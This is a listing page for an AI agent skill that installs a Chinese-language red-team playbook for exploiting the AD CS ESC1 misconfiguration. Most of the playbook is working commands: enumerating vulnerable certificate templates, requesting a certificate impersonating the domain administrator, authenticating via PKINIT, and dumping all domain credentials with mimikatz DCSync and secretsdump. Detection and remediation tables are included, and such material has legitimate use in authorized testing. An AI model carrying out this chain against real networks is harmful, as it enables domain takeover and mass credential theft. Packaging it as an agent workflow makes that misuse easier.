exploiting-active-directory-certificate-services-esc1

在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。

9 stars

Best use case

exploiting-active-directory-certificate-services-esc1 is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。

Teams using exploiting-active-directory-certificate-services-esc1 should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How exploiting-active-directory-certificate-services-esc1 Compares

Feature / Agentexploiting-active-directory-certificate-services-esc1Standard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权红队评估中,利用活动目录证书服务(AD CS)的 ESC1 错误配置漏洞,以高权限用户身份申请证书并提升域权限。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 利用活动目录证书服务 ESC1 漏洞

## 概述

ESC1(升级场景 1)是活动目录证书服务(AD CS)中的一个严重错误配置,允许低权限用户代表任何其他用户(包括域管理员)申请证书。当证书模板启用了 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 标志(也称为"在请求中提供"),并结合允许客户端认证的扩展密钥用法(EKU,如客户端认证、PKINIT 客户端认证、智能卡登录或任意目的)时,该漏洞就会存在。这允许攻击者在证书请求中指定任意主题备用名称(SAN),从而有效模拟任何域用户。ESC1 由 SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在其《Certified Pre-Owned》白皮书(2021)中记录,仍然是最常见的 AD CS 攻击路径之一。MITRE ATT&CK 框架将其追踪为 T1649(窃取或伪造认证证书)。

## 目标

- 使用 Certify 或 Certipy 枚举 AD CS 基础设施和证书模板
- 识别启用了"在请求中提供"的易受攻击 ESC1 模板
- 申请证书,在 SAN 字段中指定域管理员
- 通过 PKINIT 使用伪造证书进行认证以获取 TGT
- 使用获得的 Kerberos 票据将权限提升至域管理员
- 记录完整攻击链用于演练报告

## MITRE ATT&CK 映射

- **T1649** - 窃取或伪造认证证书
- **T1558.001** - 窃取或伪造 Kerberos 票据:黄金票据
- **T1078.002** - 有效账户:域账户
- **T1484** - 域策略修改
- **T1087.002** - 账户发现:域账户

## 实施步骤

### 阶段一:AD CS 枚举
1. 枚举域中的证书颁发机构(CA)服务器:
   ```powershell
   # 使用 Certify(Windows)
   Certify.exe cas

   # 使用 Certipy(Linux/Python)
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
   ```
2. 枚举所有证书模板并识别易受攻击的模板:
   ```powershell
   # 使用 Certify - 查找易受攻击的模板
   Certify.exe find /vulnerable

   # 使用 Certipy - 输出 JSON 和文本报告
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
   ```
3. 验证已识别模板上的 ESC1 条件:
   - `msPKI-Certificate-Name-Flag` 包含 `ENROLLEE_SUPPLIES_SUBJECT`
   - `pkiExtendedKeyUsage` 包含客户端认证或智能卡登录
   - `msPKI-Enrollment-Flag` 不需要经理审批
   - 低权限组(Domain Users、Authenticated Users)具有注册权限

### 阶段二:使用任意 SAN 申请证书
1. 使用易受攻击的模板申请证书,在 SAN 中指定域管理员:
   ```powershell
   # 使用 Certify(Windows)
   Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator

   # 使用 Certipy(Linux)
   certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
   ```
2. CA 颁发包含域管理员 UPN 的 SAN 字段的证书
3. 以 PFX/PEM 格式保存输出的证书

### 阶段三:使用伪造证书进行认证
1. 如有需要转换证书(Certify 输出 PEM,转换为 PFX):
   ```bash
   openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
   ```
2. 使用 PKINIT 认证以获取被模拟用户的 TGT:
   ```powershell
   # 使用 Rubeus(Windows)
   Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt

   # 使用 Certipy(Linux)
   certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
   ```
3. TGT 现已加载到内存中(Windows)或 NT 哈希已恢复(Linux)

### 阶段四:域权限提升
1. 使用域管理员 TGT 执行特权操作:
   ```powershell
   # DCSync 以转储所有域凭据
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all"

   # 或使用获得的 NT 哈希和 secretsdump.py
   secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
   ```
2. 验证域管理员访问权限:
   ```powershell
   # 列出域控制器
   dir \\DC01.domain.local\C$

   # 访问域管理员共享
   dir \\DC01.domain.local\SYSVOL
   ```

## 工具与资源

| 工具 | 用途 | 平台 |
|------|---------|----------|
| Certify | AD CS 枚举和证书申请 | Windows(.NET) |
| Certipy | AD CS 枚举、申请和认证 | Linux(Python) |
| Rubeus | 使用证书的 Kerberos 认证(PKINIT) | Windows(.NET) |
| Mimikatz | 提权后凭据转储 | Windows |
| secretsdump.py | 远程凭据转储(Impacket) | Linux(Python) |
| PSPKIAudit | PowerShell AD CS 审计模块 | Windows |
| ForgeCert | 证书伪造工具 | Windows(.NET) |

## 易受攻击模板指标

| 条件 | 易受攻击的值 |
|-----------|-----------------|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | 客户端认证 (1.3.6.1.5.5.7.3.2) |
| 注册权限 | Domain Users 或 Authenticated Users |
| msPKI-Enrollment-Flag | 不需要经理审批 |
| CA 设置 | 不强制审批工作流 |

## 检测特征

| 指标 | 检测方法 |
|-----------|-----------------|
| 证书请求中的 SAN 与申请者不同 | CA 服务器上的 Windows 事件 4886/4887 |
| 异常的 PKINIT 认证 | 带证书预认证的事件 4768 |
| Certify.exe 或 Certipy 执行 | EDR 进程监控和命令行日志 |
| 批量证书模板枚举 | 对 pkiCertificateTemplate 对象的 LDAP 查询监控 |
| 颁发给不匹配 UPN 的证书 | CA 审计日志和证书透明度 |

## 验证标准

- [ ] 已枚举 AD CS 证书颁发机构
- [ ] 已使用 Certify 或 Certipy 识别易受攻击的 ESC1 模板
- [ ] 已成功申请包含域管理员 SAN 的证书
- [ ] 已使用伪造证书执行 PKINIT 认证
- [ ] 已获取域管理员 TGT
- [ ] 已验证对域控制器的特权访问
- [ ] 已记录完整攻击链及证据
- [ ] 已提供修复建议(禁用"在请求中提供",要求经理审批)

Related Skills

performing-ssl-certificate-lifecycle-management

9
from killvxk/cybersecurity-skills-zh

SSL/TLS 证书生命周期管理涵盖请求、颁发、部署、监控、续期和吊销 X.509 证书的完整流程。不当的证书管理是导致中断和安全事件的主要原因。本技能涵盖使用 Python 和 ACME 协议工具自动化整个证书生命周期。

performing-mobile-app-certificate-pinning-bypass

9
from killvxk/cybersecurity-skills-zh

在授权安全评估期间,绕过 Android 和 iOS 应用中的 SSL/TLS 证书固定实现,以启用流量拦截。 涵盖使用 Frida、Objection 和自定义脚本对 OkHttp、TrustManager、NSURLSession 及第三方固定库的绕过技术。适合证书固定绕过、SSL 固定破解、移动 TLS 拦截 或代理抗性应用测试相关请求。

performing-directory-traversal-testing

9
from killvxk/cybersecurity-skills-zh

通过操控文件路径参数,测试 Web 应用程序中允许读取或写入服务器任意文件的路径遍历漏洞。

performing-active-directory-vulnerability-assessment

9
from killvxk/cybersecurity-skills-zh

使用 PingCastle、BloodHound 和 Purple Knight 评估 Active Directory 安全态势,识别错误配置、权限提升路径和攻击向量。

performing-active-directory-forest-trust-attack

9
from killvxk/cybersecurity-skills-zh

使用 impacket 枚举和审计 Active Directory 林信任关系,进行 SID 过滤分析、信任密钥提取、跨林 SID 历史滥用检测和跨域 Kerberos 票据评估。

performing-active-directory-compromise-investigation

9
from killvxk/cybersecurity-skills-zh

通过分析认证日志、复制元数据、组策略变更和 Kerberos 票据异常,调查 Active Directory 攻陷事件,识别攻击者持久化机制和横向移动路径。

performing-active-directory-bloodhound-analysis

9
from killvxk/cybersecurity-skills-zh

使用 BloodHound 和 SharpHound 枚举活动目录(Active Directory)关系,从已控制的用户识别到域管理员的攻击路径。

implementing-mtls-for-zero-trust-services

9
from killvxk/cybersecurity-skills-zh

使用 Python cryptography 库进行证书生成,使用 ssl 模块进行 TLS 验证, 配置微服务之间的双向 TLS(mTLS)身份验证。验证证书链、检查过期情况, 并审计 mTLS 部署状态。适用于实现零信任服务间身份验证的场景。

exploiting-zerologon-vulnerability-cve-2020-1472

9
from killvxk/cybersecurity-skills-zh

利用 Netlogon 远程协议中的 Zerologon 漏洞(CVE-2020-1472),通过将机器账户密码重置为空来实现域控制器入侵。

exploiting-websocket-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中测试 WebSocket 实现的身份验证绕过、跨站劫持、注入攻击和不安全消息处理。

exploiting-vulnerabilities-with-metasploit-framework

9
from killvxk/cybersecurity-skills-zh

Metasploit Framework 是全球最广泛使用的渗透测试平台,由 Rapid7 维护,包含超过 2300 个漏洞利用模块、1200 个辅助模块和 400 个后渗透模块

exploiting-type-juggling-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。